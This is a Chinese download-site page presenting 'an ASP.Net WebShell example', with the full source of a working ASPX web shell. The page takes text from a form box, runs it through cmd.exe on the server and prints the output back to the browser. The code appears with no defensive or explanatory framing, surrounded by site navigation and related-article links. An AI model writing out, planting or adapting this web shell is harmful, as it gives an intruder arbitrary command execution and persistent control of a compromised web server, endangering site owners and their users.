没有合适的资源?快使用搜索试试~ 我知道了~
温馨提示
试读
1页
代码如下: 代码如下:<%@ Page Language=”C#” AutoEventWireup=”true” %><%@ Import Namespace=”System.Runtime.InteropServices” %><%@ Import Namespace=”System.IO” %><%@ Import Namespace=”System.Data” %><%@ Import Namespace=”System.Reflection” %><%@ Import Namespace=”System.Diagnostics” %><%@ Import Namespace=”Syst
资源推荐
资源详情
资源评论
一个一个ASP.Net下的下的WebShell实例实例
代码如下:
代码如下:
<%@ Page Language=”C#” AutoEventWireup=”true” %>
<%@ Import Namespace=”System.Runtime.InteropServices” %>
<%@ Import Namespace=”System.IO” %>
<%@ Import Namespace=”System.Data” %>
<%@ Import Namespace=”System.Reflection” %>
<%@ Import Namespace=”System.Diagnostics” %>
<%@ Import Namespace=”System.Web” %>
<%@ Import Namespace=”System.Web.UI” %>
<%@ Import Namespace=”System.Web.UI.WebControls” %>
<script runat=”server”>
protected void exec(object sender, EventArgs e)
{
string item = cmd.Text;
Process p = new Process();
p.StartInfo.FileName = “cmd.exe”;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
string strOutput = null;
p.Start();
p.StandardInput.WriteLine(item);
p.StandardInput.WriteLine(“exit”);
strOutput = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
Response.Write(“<pre>”);
Response.Write(strOutput);
Response.Write(“</pre>”);
}
protected void Page_Load(object sender, EventArgs e)
{
}
</script>
<form id=”form1″ runat=”server”>
<asp:TextBox id=”cmd” runat=”server” Text=”dir c:” /><asp:Button id=”btn” onclick=”exec” runat=”server” Text=”execute” />
</form>
您可能感兴趣的文章您可能感兴趣的文章:PHP webshell检查工具 python实现代码用python删除java文件头上版权信息的方法Python datetime时间
格式化去掉前导0python处理文本文件并生成指定格式的文件Python中关键字is与==的区别简述python处理文本文件实现生成
指定格式文件的方法Python中zip()函数用法实例教程Python中apply函数的用法实例教程php木马webshell扫描器代码精确查
找PHP WEBSHELL木马 修正版asp木马代码解密的随机加密webshellpython脚本实现查找webshell的方法
资源评论
weixin_38606294
- 粉丝: 3
- 资源: 926
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功